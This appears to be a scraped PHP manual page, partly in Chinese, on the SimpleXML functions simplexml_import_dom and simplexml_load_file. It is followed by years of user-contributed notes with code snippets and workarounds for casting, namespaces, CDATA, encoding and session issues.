    $objXML = new SimpleXMLElement('<test x="-123.45"></test>');

    //Shows correctly
    echo $objXML['x']."\n";

    //We loose the decimals
    echo $objXML['x'] + $objXML['x']."\n";

    $x = $objXML['x'];

    //This works if we cast the amounts
    echo (float)$objXML['x'] + (float)$objXML['x']."\n";

    //Calculated on a string, no problem
    echo "-123.45" + "-123.45";

?>

This is due to the fact that $objXML['x'] is not a string (php would cast it automatically) neither a float, but a SimpleXMLElement object.

"echo var_dump($x);" will output this
~~
object(SimpleXMLElement)#3 (1) {
  [0]=>
  string(7) "-123.45"
}
~~

I opened a bug request on php but here is the answer they gave me:

~~
Status: Won't fix

The behavior is defined by the engine not the extension. When performing mathematical operations on objects, they are treated as integers. It is up to the user to cast the object to the appropriate type to maintain proper precision.
~~
cmsa at gmx dot de 27-Aug-2007 05:07
I had a problem with entities.

My first solution:
I saved Data that way:
$ENTRY_->
addchild('Nachricht',htmlentities($_POST["blog"]));

Had Entities in the XML-File like:
<!ENTITY auml "&amp;auml">

And I loaded the Data that way:
html_entity_decode($ENTRY->Nachname);

But after saving and
loading the xml-file the entity-entry
<!ENTITY auml "&amp;auml">
disappeared. strange...

My second solution:
With saving the Data this way:
$ENTRY_->
addchild('Nachricht',htmlentities(htmlentities($_POST["blog"])));

I can now load it with html_entity_decode without the
 entity-entry in the XML-file!
I tested it with ??ü.

Hope it helpes.
karsten dot bruch at bms-verlage dot de 16-Aug-2007 08:28
When creating a new XML document and adding text with umlauts and such

<?php $SimpleXMLElement->asXML(); ?>

will silently NOT output any content with umlauts.

Use htmlentities () while adding Umlauts & co to solve the "problem"
anthony dot parsons at manx dot net 03-Aug-2007 07:40
If you're handling lots of HTML or mixed-content XML you'll probably want to use the DOM functions instead of SimpleXML. Take this for example:
<?php
$html = new SimpleXMLElement('<div><p>Some text, <a href="#">a link,</a> more text</p></div>');

echo $html->p->a,"<br>\n"; // "a link,"
echo $html->p;             // "Some text, more text" (!)
?>
In the above example reconstructing the original markup is impossible because of the way SimpleXML represents the data.
php at werner dash ott dot de 28-Mar-2007 06:03
Concerning SimpleXML and sessions:

When creating a SimpleXML object (to be precise: a SimpleXMLElement object) in the context of a session and storing it in $_SESSION['XMLobject'], this object does not "survive" the session!

By the time re-entering the session, print_r($_SESSION['XMLobject']) says:

['XMLobject'] => SimpleXMLElement Object
Warning:  Node no longer exists in /your_php_file.php on line xyz
   (
   )

(Message simplified for the sake of better readability.)
codje2 at lboro dot ac dot uk 11-Mar-2007 01:46
Sometimes it's nice to mix up data storage types. This is a very simple SQL to XML converter. Feed it a SQL query and it outputs the result in XML.

The first paramater should be a mysql_query result
(optional)The second is the xml name for each row (i.e the second depth of XML)
(optional)The third is the name of the XML document, the root name

<?php
$result=mysql_query("SELECT * FROM users");
sql_to_xml($result,"users","members");

function sql_to_xml($mysql_result,$row_name="row",$doc_name="root")
{

    $xml= new SimpleXMLElement("<$doc_name></$doc_name>");
    while($line=mysql_fetch_assoc($mysql_result))
    {
        $row=$xml->addChild($row_name);
        foreach($line as $column => $value)
        {
            $row->$column="$value";
        }
    }
    return $xml->asXML();
}

?>
php at NOSPAM dot coutch dot com 21-Feb-2007 02:04
Memory leak when setting attributes as in example (#Example 2134. Setting values)

This probably goes unnoticed in web scripts (unless you do a LOT of xml manipulations), but I ran into this in my standalone script that processes a large number of XML files.

The following code will eat up memory quite fast:

<?php
include 'example.php';

while (true) {
  $xml = new SimpleXMLElement($xmlstr);
  $xml->movie[0]->characters->character[0]->name = 'Miss Coder';
}
?>

while this seems to behave correctly:

<?php
include 'example.php';

while (true) {
  $xml = new SimpleXMLElement($xmlstr);
  $c = $xml->xpath("//character");
  $c[0]->name = 'Miss Coder';
}
?>

This looks like bug #38604, and I just confirmed that in 6.0.0-dev (on Windows at least) it is fixed.  It is NOT fixed in 5.2.1 or  5.2.2-dev (2/21 build), so for 5.2 users, use the second form to avoid leaks.
joel [from the website] purerave.com 19-Feb-2007 05:57
It doesn't mention this anywhere, but creationg a new SimpleXMLElement object from a non-valid string throws an exception. It looks ugly in the php log as it dumps the stack in multiple lines.

The correct way to create a new SimpleXMLElement object is like so:
<?php
$xmlstr = ''; // empty to throw an exception
try {
   $xml = new SimpleXMLElement($xmlstr);
} catch (Exception $e) {
   // handle the error
   echo '$xmlstr is not a valid xml string';
}
?>
matt at mattbostock dot com 05-Nov-2006 11:40
Be careful when using var_export to debug element attributes - it won't work! Always use print() or similar for checking the contents of element attributes.
Arnaud Bienvenu 19-Oct-2006 07:35
As of PHP 5.1.4, trying to iterate on a non-existent node will actually create that node.

<?
$xml = simplexml_load_string('<root></root>');
foreach($xml->b as $dummy);
echo $xml->asXML();
?>

Gives :

<?xml version="1.0"?>
<root><b/></root>

You might think it is a bug, but PHP developers seam to consider it as a feature : http://bugs.php.net/bug.php?id=39164
Jason Sheets <jsheets at shadonet dot com> 31-May-2006 10:31
Here is my Simple XML to array function, it is recursive and has the benefit of maintaining key value relationships and has worked well for me.

<?php
function XMLToArray($xml)
{
  if ($xml instanceof SimpleXMLElement) {
    $children = $xml->children();
    $return = null;
  }

  foreach ($children as $element => $value) {
    if ($value instanceof SimpleXMLElement) {
      $values = (array)$value->children();

      if (count($values) > 0) {
        $return[$element] = XMLToArray($value);
      } else {
        if (!isset($return[$element])) {
          $return[$element] = (string)$value;
        } else {
          if (!is_array($return[$element])) {
            $return[$element] = array($return[$element], (string)$value);
          } else {
            $return[$element][] = (string)$value;
          }
        }
      }
    }
  }

  if (is_array($return)) {
    return $return;
  } else {
    return $false;
  }
}
?>
daniel dot oconnor at gmail dot com 17-May-2006 06:21
SimpleXML handles namespaces, but it's not documented very well here at all.

If you wanted to parse, say, an open office manifest file or a piece of RDF/XML, you have to get elements and attributes by the namespace url.

Example:
<?php
function display($in) {
    if (file_exists($in)) {
        $xml = simplexml_load_file($in);
    } else {
        throw new Exception($in . " does not exist");
    }

    $manifest = $xml->children('http://openoffice.org/2001/manifest');

    foreach ($manifest->xpath('//manifest:file-entry') as $file) {
        foreach ($file->attributes('http://openoffice.org/2001/manifest') as $key => $value) {
            print "Key:" . $key . "\n";
            print "Value:" . $value . "\n";
        }
    }

}
?>

File: manifest.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE manifest:manifest PUBLIC "-//OpenOffice.org//DTD Manifest 1.0//EN" "Manifest.dtd">
<manifest:manifest xmlns:manifest="http://openoffice.org/2001/manifest">
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.writer" manifest:full-path="/"/>
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
 <manifest:file-entry manifest:media-type="application/binary" manifest:full-path="layout-cache"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/thumbnail.png"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
</manifest:manifest>
paul at preinheimer dot com 06-May-2005 05:11
Hi,

If you want to access an element that has a dash in its name, (as is common with the XML documents provided by the Library of Congress, as well as the NWS) you will need to handle it a little bit differently.

You can either use XPATH, which works fine, but will return an array of results every time, even if there is a single result.
eg.

<?php
$xml->xpath('/data/time-layout/start-valid-time');
?>

You can also choose just to encapsulate the element names containing a dash:
<?php $xml->data->{'time-layout'}->{'start-valid-time'} ?>

--

On a only partially related note, dealing with SimpleXML is one of the only times I have employed casting with PHP. While iterating (foreach) through the valid times, echo'ing the element worked great (it merely echo'ed the apropriate time), assigning it to another variable resulted in a SimpleXML object containing the time to be assigned, rather than just the time itself. This was resolved by casting the time to a string:

<?php
foreach($xml->data->{'time-layout'}->{'start-valid-time'} AS $time)
{
 $weatherDates[] = (string) $time;
}
?>
T CHASSAGNETTE t_chassagnette at yahoo dot fr 04-May-2005 01:57
Another method to parse an XML Document into a PHP array with SIMPLEXML inspired from Daniel FAIVRE !

<?php
function xml2php($xml)
{
    $fils = 0;
    $tab = false;
    $array = array();
    foreach($xml->children() as $key => $value)
    {
        $child = xml2php($value);

        //To deal with the attributes
        foreach($node->attributes() as $ak=>$av)
        {
            $child[$ak] = (string)$av;

        }

        //Let see if the new child is not in the array
        if($tab==false && in_array($key,array_keys($array)))
        {
            //If this element is already in the array we will create an indexed array
            $tmp = $array[$key];
            $array[$key] = NULL;
            $array[$key][] = $tmp;
            $array[$key][] = $child;
            $tab = true;
        }
        elseif($tab == true)
        {
            //Add an element in an existing array
            $array[$key][] = $child;
        }
        else
        {
            //Add a simple element
            $array[$key] = $child;
        }

        $fils++;
      }

    if($fils==0)
    {
        return (string)$xml;
    }

    return $array;

}
?>
nelson_menezes at yahoo dot co dot uk 01-Mar-2005 05:05
Note that SimpleXML expects to both read and output XML in UTF-8 encoding. You'll need to add a line such as this at the top of your input XML file if it isn't saved in UTF-8 (adjust to whatever encoding used):

<?xml version="1.0" encoding="ISO-8859-1" ?>

On the output side of things, if you're not serving/handling UTF-8, you'll need to use utf8_decode() [red. but that will only work for ISO-8859-1, not other encodings]. Common mistake: http://bugs.php.net/bug.php?id=28154
brcavanagh AT NO SPAM hotmail.com 02-Jan-2005 09:18
If you are looking to use SimpleXML for anything but reading XML documents, you should really reconsider, and use the XML DOM library.  By the time you get enough utilities implemented in DOM to handle all the set backs in SimpleXML, you will have defeated the purpose of using SimpleXML.  There are a few reasons for this, and there are already many workrounds, but the primairy issues are this

1) No complex node assignment.  You cannot switch nodes or replace them.

2) No appending new child nodes

3) Whenever you do something like $new_node = $xml_doc->node you will always get a reference even if you use a clone method, which will crash the script.

Other than that, its a great tool for reading docs.


Get a SimpleXMLElement object from a DOM node

  • ? SimpleXML 函数
  • simplexml_load_file ?
  • PHP Manual
  • SimpleXML 函数
  • Get a SimpleXMLElement object from a DOM node

simplexml_import_dom

(PHP 5, PHP 7, PHP 8)

simplexml_import_dom — Get a SimpleXMLElement object from a DOM node

说明

simplexml_import_dom(SimpleXMLElement|DOMNode $node, ?string $class_name = SimpleXMLElement::class): ?SimpleXMLElement

This function takes a node of a DOM document and makes it into a SimpleXML node. This new object can then be used as a native SimpleXML element.

参数

node

A DOM Element node

class_name

You may use this optional parameter so that simplexml_import_dom() will return an object of the specified class. That class should extend the SimpleXMLElement class.

返回值

Returns a SimpleXMLElement or null on failure.

示例

Example #1 Importing DOM

<?php
$dom = new DOMDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
echo 'Error while parsing the document';
exit;
}

$s = simplexml_import_dom($dom);

echo $s->book[0]->title;
?>

以上示例会输出：

blah

参见

  • dom_import_simplexml() - Gets a DOMElement object from a SimpleXMLElement object
  • Basic SimpleXML usage

User Contributed Notes

paul dot allsopp at digital-pig dot com 06-Jun-2023 12:07
Why not just:
simplexml_import_dom(dom_import_simplexml($SimpleXmlNode))
shirkaen at gmail dot com 10-Nov-2016 06:58
/*If tags in DOM have text and some part of this text is surrounded by other tag, simple_import_dom object doesn't contain position of child tag, so rendering it back to html/xml can be a problem. Printing such a node is also peculiar. Eg.*/

//////////////////////
$text = "<body><p>Some text before <em>italic </em>and after text.</p></body>";
$dom = new DOMDocument;
$dom->loadHTML($text);
$result = simplexml_import_dom($dom);
echo $result->p;

//////////////////////
//Prints :
//Some text before and after text.

print_r($result->p);
//Prints:
//SimpleXMLElement Object ( [em] => italic )

print_r($result->p->em)
//does more or less the same:
//SimpleXMLElement Object ( [0] => italic )

var_dump($result->p);
//Prints:
//object(SimpleXMLElement)#8 (1) { ["em"]=> string(7) "italic " }

var_dump($result->p->em)
//object(SimpleXMLElement)#9 (1) { [0]=> string(7) "italic " }

//but
echo $result->p->em;
//prints:
//italic
brandonkirsch at perceptionilluminates dot com 14-Aug-2013 03:38
simplexml_import_dom() will accept DOMNodes or other SimpleXMLElements.  This has a useful purpose if you are extending the SimpleXMLElement class and would prefer the xpath() method to return your class extension instead of basic SimpleXMLElements.  For example:

class MySimpleXML extends SimpleXMLElement{
    public function xpath($xpath){
        $return = array();
        $simpleXmls = parent::xpath($xpath); // run SimpleXMLElement xpath, returning an array of SimpleXMLElements
        foreach($simpleXmls as $xml){
            $return[] = simplexml_import_dom($xml,'MySimpleXML'); // copy SimpleXMLElement, returning as MySimpleXML instance
        }
        return $return;
    }
}

Now I can create an instance of MySimpleXML, run an xpath, and get my results back as an array of MySimpleXML elements instead of the native SimpleXMLElement:

$mySimpleXml = new mySimpleXml('<root><node/></root>');

$array = $mySimpleXml->xpath('/root/node'); // returns array with a single MySimpleXml object


Interprets an XML file into an object

  • ? simplexml_import_dom
  • simplexml_load_string ?
  • PHP Manual
  • SimpleXML 函数
  • Interprets an XML file into an object

simplexml_load_file

(PHP 5, PHP 7, PHP 8)

simplexml_load_file — Interprets an XML file into an object

说明

simplexml_load_file(
string $filename,
?string $class_name = SimpleXMLElement::class,
int $options = 0,
string $namespace_or_prefix = "",
bool $is_prefix = false
): SimpleXMLElement|false

Convert the well-formed XML document in the given file to an object.

参数

filename

Path to the XML file

class_name

You may use this optional parameter so that simplexml_load_file() will return an object of the specified class. That class should extend the SimpleXMLElement class.

options

Bitwise OR of the libxml option constants.

namespace_or_prefix

Namespace prefix or URI.

is_prefix

true if namespace_or_prefix is a prefix, false if it's a URI; defaults to false.

返回值

Returns an object of class SimpleXMLElement with properties containing the data held within the XML document, 或者在失败时返回 false.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

错误／异常

Produces an E_WARNING error message for each error found in the XML data.

Tip

Use libxml_use_internal_errors() to suppress all XML errors, and libxml_get_errors() to iterate over them afterwards.

示例

Example #1 Interpret an XML document

<?php
// The file test.xml contains an XML document with a root element
// and at least an element /[root]/title.

if (file_exists('test.xml')) {
$xml = simplexml_load_file('test.xml');

print_r($xml);
} else {
exit('Failed to open test.xml.');
}
?>

This script will display, on success:

SimpleXMLElement Object
(
  [title] => Example Title
  ...
)

At this point, you can go about using $xml->title and any other elements.

参见

  • simplexml_load_string() - Interprets a string of XML into an object
  • SimpleXMLElement::__construct() - Creates a new SimpleXMLElement object
  • Dealing with XML errors
  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed
  • Basic SimpleXML usage
  • libxml_set_streams_context() - Set the streams context for the next libxml document load or write

User Contributed Notes

siraic at gmail dot com 20-Jun-2023 08:47
LibXML typically uses ten times the file size in memory to read a file, and this memory usage falls largely outside the memory limit guarded by PHP.
tg at debian dot org 20-Feb-2022 09:36
This function does not accept all pathnames, in spite of its documentation.

$ php -r 'print_r( simplexml_load_file("%25.xml"));'
PHP Warning:  simplexml_load_file(): I/O warning : failed to load external entity "%25.xml" in Command line code on line 1
visualmind at nospam dot php dot net 18-Jan-2022 02:49
This may sometimes get missed, but if your xml nodes are in the format:
<prefix:element />

You need to make sure to set the [namespace or prefix] argument and the [isPrefix] argument to true. Also when recalling elements you need to avoid adding the prefix if that is already set, so in the above example "prefix:element" should be added as "element" but when saved the prefix will be added automatically.

If prefix is not set during load or object construction, load will fail to get the nodes correctly and you will not be able to recall elements directly so $xml->{'prefix:element'} will not work either.
sirgrayjn at gmail dot com 22-Sep-2016 09:51
// Be carefull if you migrate or use local machine
// for test/development.

// Windows directory separators: "\" and "/"
// You may mix separators "C:\somedir\www/img/bg.jpg".

// Mixed separators path work fine in other functions
// But simplexml_load_file() failed with mixed separators.

// Examples:
include("C:\dir\my.php");    // work (windows)
include("C:\dir/my.php");    // work (windows) with mixed
include("C:/dir/my.php");    // work (windows, linux)
simplexml_load_file("C:\dir\my.php");    // work
simplexml_load_file("C:\dir/my.php");    // failed with mixed
simplexml_load_file("C:/dir/my.php");    // work
rex111 at bigmir dot net 08-Sep-2016 03:02
Get all tags and their values. (recursive)

<?php
$xml = simplexml_load_file('settings.xml');

function all_tag($xml){
    $i=0; $name = "";
    foreach ($xml as $k){
        $tag = $k->getName();
        $tag_value = $xml->$tag;
        if ($name == $tag){ $i++;    }
                $name = $tag;
            echo $tag .' '.$tag_value[$i].'<br />';
        // recursive
           all_tag($xml->$tag->children());
    }
}

all_tag($xml);
?>
Rich 24-Nov-2015 02:51
I stumbled on this: a single element with a simple string in it becomes a string, but a single element with a *space* in it becomes an Array, with one element, the string space.

I'm sure to XML mystics this is wise and wonderful but it really confused me,  and I thought it might confuse others.

<?php
$parsed = simplexml_load_string('<container><space> </space><blank></blank><string>hello</string></container>');
$content = json_decode(json_encode($parsed),TRUE);
var_dump($content);
/* Output is:
array(3) {
  'space' => array(1) {           ← did NOT expect this!
    [0] => string(1) " "
  }
  'blank' => array(0) { }
  'string' => string(5) "hello"
}
 */
tuxedobob 30-Jun-2015 01:25
Occasionally you may try to load a file and have it complain about an entity and throw a parser error.

If this is the case, check to make sure that the file in question does not contain an ampersand (&) without a corresponding entity reference.

If it does, or if you want to err on the side of caution, then instead of using simplexml_load_file, try this:

$file = file_get_contents('stuff.xml');
$temp = preg_replace('/&(?!(quot|amp|pos|lt|gt);)/', '&amp;', $file);
$xml = simplexml_load_string($temp) or die("xml not loading");

Read the file into a string, add 'amp;' after any '&' that is not part of a character entity, then parse the string as xml.
kannan at 99deals dot in 04-Sep-2012 06:27
If you have some nodes which are having special characters, it would not load properly

for an instance see the nodes below
<node:number>1538-7445</node:number>
<node:coverDisplayDate>Sep  1 2012 12:00:00:000AM</node:coverDisplayDate>

either you have to change the : to other special characters like '-' in order to convert it properly

Correct Node
<node-number>1538-7445</node-number>
<node-coverDisplayDate>Sep  1 2012 12:00:00:000AM</node-coverDisplayDate>

I have wasted my precious time while debugging this. Please aware about this. ?
ricardo at ricardomartins dot info 21-Aug-2012 05:49
Sometimes we have xml's with hyphens nodes, like

<my_xml>
 <some-node>value</some-node>
</my_xml>

You'll need to use
<?php
$simpleXmlObj->{'some-node'}
?>

instead of
<?php
$simpleXmlObj->some-node;
?>
fusionstream at gmail dot com 05-Apr-2012 04:15
If you are loading many files, this may slow down your page load time.

To set a timeout, use file_get_context and then simplexml_load_string

<?php

$fp = fopen('http://www.example.com/rss', false, stream_create_context(array('http' => array('timeout', '1.5'))));

if ($fp) {
    print_r( simplexml_load_string($fp) );
} else {
    echo "The request timed out";
}
?>
sean at aliencreations dot com 17-Mar-2011 10:59
If you find that you are receiving 500 errors with simplexml_load_file() but you can access the xml/rss feed manually through a browser, your script is probably being blocked by a user agent sniffer.

Add this code before your xml call to remedy this issue

<?php

ini_set("user_agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
ini_set("max_execution_time", 0);
ini_set("memory_limit", "10000M");

$rss = simplexml_load_file($feed_url);

?>
Nanuit at ossi dot at 08-Feb-2011 01:51
A little function very helpfull in using simplexml_load_file behind a proxy

<?php
function getXMLfromURL($url) {
      $Proxy = getenv("HTTP_PROXY");

      if (strlen($Proxy) > 1) {
        $r_default_context = stream_context_get_default ( array
                    ('http' => array(
                        'proxy' => $Proxy,
                        'request_fulluri' => True,
                    ),
                )
            );
        libxml_set_streams_context($r_default_context);
      }
      $daten = simplexml_load_file($url);
      return ($daten);
    }
?>

where HTTP_PROXY is set to e.g.: tcp://proxy:8080
guego dot ol at ig dot com dot br 12-Nov-2010 03:26
Analyze fully XML.

<?php
$xml = simplexml_load_file('file.xml');

foreach($xml as $key0 => $value){
echo "..1..[$key0] => $value";
foreach($value->attributes() as $attributeskey0 => $attributesvalue1){
echo "________[$attributeskey0] = $attributesvalue1";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value as $key => $value2){
echo "....2.....[$key] => $value2";
foreach($value2->attributes() as $attributeskey => $attributesvalue2){
echo "________[$attributeskey] = $attributesvalue2";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value2 as $key2 => $value3){
echo ".........3..........[$key2] => $value3";
foreach($value3->attributes() as $attributeskey2 => $attributesvalue3){
echo "________[$attributeskey2] = $attributesvalue3";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value3 as $key3 => $value4){
echo "...................4....................[$key3] => $value4";
foreach($value4->attributes() as $attributeskey3 => $attributesvalue4){
echo "________[$attributeskey3] = $attributesvalue4";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value4 as $key4 => $value5){
echo ".....................5......................[$key4] => $value5";
foreach($value5->attributes() as $attributeskey4 => $attributesvalue5){
echo "________[$attributeskey4] = $attributesvalue5";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value5 as $key5 => $value6){
echo "......................6.......................[$key5] => $value6";
foreach($value6->attributes() as $attributeskey5 => $attributesvalue6){
echo "________[$attributeskey5] = $attributesvalue6";
}
echo '<br />';
}}}}}
echo '<br />';
}
?>
raduispas at gmail dot com 21-Oct-2010 06:12
if you want to check when this function fails,make sure to compare the return value with ===  instead of == :

<?php
$url = 'http://www.example.com';
$xml = simpleXML_load_file($url,"SimpleXMLElement",LIBXML_NOCDATA);
if($xml ===  FALSE)
{
   //deal with error
}
else { //do stuff }
?>

Otherwise you may end up with FALSE all the time even if the document is ok. Hope this helps someone ;)
jamie at splooshmedia dot co dot uk 31-Mar-2010 06:17
A wrapper around simplexml_load_file to circumvent nasty error messages when the xml server times out or gives a 500 error etc.

<?php
function loadXML2($domain, $path, $timeout = 30) {

    /*
        Usage:

        $xml = loadXML2("127.0.0.1", "/path/to/xml/server.php?code=do_something");
        if($xml) {
            // xml doc loaded
        } else {
            // failed. show friendly error message.
        }
    */

    $fp = fsockopen($domain, 80, $errno, $errstr, $timeout);
    if($fp) {
        // make request
        $out = "GET $path HTTP/1.1\r\n";
        $out .= "Host: $domain\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);

        // get response
        $resp = "";
        while (!feof($fp)) {
            $resp .= fgets($fp, 128);
        }
        fclose($fp);
        // check status is 200
        $status_regex = "/HTTP\/1\.\d\s(\d+)/";
        if(preg_match($status_regex, $resp, $matches) && $matches[1] == 200) {
            // load xml as object
            $parts = explode("\r\n\r\n", $resp);
            return simplexml_load_string($parts[1]);
        }
    }
    return false;

}
?>
Smokey 14-Mar-2010 10:16
for nested and same name values i'v made up this little bit for getting and displaying multiable values from google's geocode when a exact match is not found it returns all close matches in the following format(this is an abriged version of there output)

<Response>
  <Placemark id="1">
    <address> New York 24, NY, USA</address>
    <AddressDetails>
      ..................
    </AddressDetails>
    <Point>
      <coordinates>-73.5850086,40.7207442,0</coordinates>
    </Point>
  </Placemark>
  <Placemark id="2">
    <address>New York 27, NY, USA</address>
    <AddressDetails>
      ...................
    </AddressDetails>
    <Point>
      <coordinates>-72.8987835,40.8003588,0</coordinates>
    </Point>
  </Placemark>
  <Placemark id="3">
    <address>Cedar Place School, 20 Cedar Pl, Yonkers, NY 10705, USA</address>
    <AddressDetails>
      ..................
    </AddressDetails>
    <Point>
      <coordinates>-73.8966320,40.9256520,0</coordinates>
    </Point>
  </Placemark>
</Response>

<?php
// get and breakdown the results then store them in $var's
$Address = "99999 parkplace, new york, NY";
$urladdress = urlencode($Address);
$Base_url = "http://maps.google.com/maps/geo?q=";
$urlParts = "&output=xml";
$urlrequest = $Base_url . $urladdress . $urlParts;
$xml = simplexml_load_file($urlrequest);
$num = "0";
foreach ($xml->Response->Placemark as $value){
    $num++;
    $GeoFindAdd{$num} = $value->address;
    $GeoFindCords{$num} = $value->Point->coordinates;
}

// a simple display for the results
echo "Found ",$num," Possable Geo Data Sets <br>";
$CountNumResults = "0";
for ( ; $num > 0; $num--){
    $CountNumResults++;
    echo $countnum,"<br> Address = ",$GeoFindAdd{$num},"<br> Coordinates = ",$GeoFindCords{$num},"<br>";
}
echo "END";
?>
knl at bitflop dot com 11-Sep-2009 12:02
If you need to parse the data from SimpleXML into a session variable remember to define the data as a string first.

If you don't you will get warnings of "Node no longer exists" pointing to your session_start() function.

This will work:

<?php

    $new_version = simplexml_load_file('http://example.com/version.xml');
    $_SESSION['current_version'] = (string)$new_version->version;

?>
neil art neilanddeb dort com 17-Aug-2009 06:00
Because the encoding of my XML file is UTF-8 and the
encoding of my web page is iso-8859-1 I was getting strange characters such as a�™ instead of a right single quote.

The solution to this turned out to be hard to find, but really easy to implement.

http://uk3.php.net/manual/en/function.iconv.php

Using the iconv() function you can convert from one encodign to another, the TRANSLIT option seems to work best for what I needed.  Here's my example:

<?php
// convert string from utf-8 to iso8859-1
$horoscope = iconv( "UTF-8", "ISO-8859-1//TRANSLIT", $horoscope );
?>

I found the solution on this page...
http://tinyurl.com/lm39xc
Hope this helps
cryonyx at cerebrate dot ru 21-Oct-2008 03:34
In case you have a XML file with a series of equally named elements on one level simplexml incorrectly processes them and doesn't allow to walk through the array using foreach(). As far as I'm concerned, it is the problem caused by PHP xml_parser (see: http://ru2.php.net/manual/ru/function.xml-parser-create.php#53188).

To avoid this, just use count() and walk through the array using for().

Example:

<params>
  <param>
    <name>version.shell</name>
    <value>1.0</value>
  </param>
  <param>
      <name>version.core</name>
      <value>1.0</value>
  </param>
  <param>
      <name>file.lang</name>
      <value>vc.lang</value>
  </param>
  ...
</params>

<?php
$filename = '...';
$xml = simplexml_load_file($filename);
$p_cnt = count($xml->param);
for($i = 0; $i < $p_cnt; $i++) {
  $param = $xml->param[$i];
  ...;
}
?>
mario 02-Sep-2008 02:08
If you want CDATA in your object you should use LIBXML_NOCDATA

<?php
$xml = simplexml_load_file($file_xml, 'SimpleXMLElement',LIBXML_NOCDATA);

    print_r($xml);
?>
l [DOT] anzinger [AT] gmail [DOT] com 26-Mar-2008 09:03
If you don't want that the CDATA values get escaped, just load the XML with LIBXML_NOCDATA as an 3rd argument.

Note: A PHP version >= 5.1.0 is required for this to work.

Example:

<?php simplexml_load_file('xmldatei.xml', null, LIBXML_NOCDATA); ?>
php at werner dash ott dot de 29-Mar-2007 01:13
Making SimpleXMLElement objects session save.

Besides the effect of not surviving sessions, the SimpleXMLElement object may even crash the session_start() function when trying to re-enter the session!

To come up with a solution for this, I used a pattern as follows. The core idea is to transform the SimpleXMLElement between session calls to and from a string representation which of course is session save.

<?php
  //
  // session save handling of SimpleXMLElement objects
  // (applies to/ tested with PHP 5.1.5 and PHP 5.2.1)
  // The myClass pattern allows for conveniently accessing
  // XML structures while being session save
  //
  class myClass
  {
    private $o_XMLconfig = null;
    private $s_XMLconfig = '';

    public function __construct($args_configfile)
    {
      $this->o_XMLconfig = simplexml_load_file($args_configfile);
      $this->s_XMLconfig = $this->o_XMLconfig->asXML();
    } // __construct()

    public function __destruct()
    {
      $this->s_XMLconfig = $this->o_XMLconfig->asXML();
      unset($this->o_XMLconfig); // this object would otherwise crash
                                 // the subsequent call of
                                 // session_start()!
    } // __destruct()

    public function __wakeup()
    {
      $this->o_XMLconfig = simplexml_load_string($this->s_XMLconfig);
    } // __wakeup()

  } // class myClass
?>
wouter at code-b dot nl 20-Feb-2007 02:08
To correctly extract a value from a CDATA just make sure you cast the SimpleXML Element to a string value by using the cast operator:

<?php
$xml = '<?xml version="1.0" encoding="UTF-8" ?>
<rss>
    <channel>
        <item>
            <title><![CDATA[Tom & Jerry]]></title>
        </item>
    </channel>
</rss>';

$xml = simplexml_load_string($xml);

// echo does the casting for you
echo $xml->channel->item->title;

// but vardump (or print_r) not!
var_dump($xml->channel->item->title);

// so cast the SimpleXML Element to 'string' solve this issue
var_dump((string) $xml->channel->item->title);
?>

Above will output:

Tom & Jerry

object(SimpleXMLElement)#4 (0) {}

string(11) "Tom & Jerry"
Kyle 10-Dec-2006 02:35
In regards to Anonymous on 7th April 2006

There is a way to get back HTML tags. For example:

<?xml version="1.0"?>
<intro>
    Welcome to <b>Example.com</b>!
</intro>

<?php
// I use @ so that it doesn't spit out content of my XML in an error message if the load fails. The content could be passwords so this is just to be safe.
$xml = @simplexml_load_file('content_intro.xml');
if ($xml) {
    // asXML() will keep the HTML tags but it will also keep the parent tag <intro> so I strip them out with a str_replace. You could obviously also use a preg_replace if you have lots of tags.
    $intro = str_replace(array('<intro>', '</intro>'), '', $xml->asXML());
} else {
    $error = "Could not load intro XML file.";
}
?>

With this method someone can change the intro in content_intro.xml and ensure that the HTML is well formed and not ruin the whole site design.
Anonymous 06-Apr-2006 09:21
What has been found when using the script is that simplexml_load_file() will remove any HTML formating inside the XML file, and will also only load so many layers deep. If your XML file is to deap, it will return a boolean false.
fdouteaud at gmail dot com 09-Mar-2006 05:21
Be careful if you are using simplexml data directly to feed your MySQL database using MYSQLi and bind parameters.

The data coming from simplexml are Objects and the bind parameters functions of MySQLi do NOT like that! (it causes some memory leak and can crash Apache/PHP)

In order to do this properly you MUST cast your values to the right type (string, integer...) before passing them to the binding methods of MySQLi.
I did not find that in the documentation and it caused me a lot of headache.
info at evasion dot cc 06-Feb-2006 08:26
Sorry there's a mistake in the previous function :
<?php
   function &getXMLnode($object, $param) {
       foreach($object as $key => $value) {
           if(isset($object->$key->$param)) {
               return $object->$key->$param;
           }
           if(is_object($object->$key)&&!empty($object->$key)) {
               $new_obj = $object->$key;
               // Must use getXMLnode function there (recursive)
               $ret = getXMLnode($new_obj, $param);

           }
       }
       if($ret) return (string) $ret;
       return false;
   }
?>
skutter at imprecision dot net 03-Feb-2006 09:11
So it seems SimpleXML doesn't support CDATA... I bashed together this little regex function to sort out the CDATA before trying to parse XML with the likes of simplexml_load_file / simplexml_load_string. Hope it might help somebody and would be very interested to hear of better solutions. (Other than *not* using SimpleXML of course! ;)

It looks for any <![CDATA [Text and HTML etc in here]]> elements, htmlspecialchar()'s the encapsulated data and then strips the "<![CDATA [" and "]]>" tags out.

<?php
function simplexml_unCDATAise($xml) {
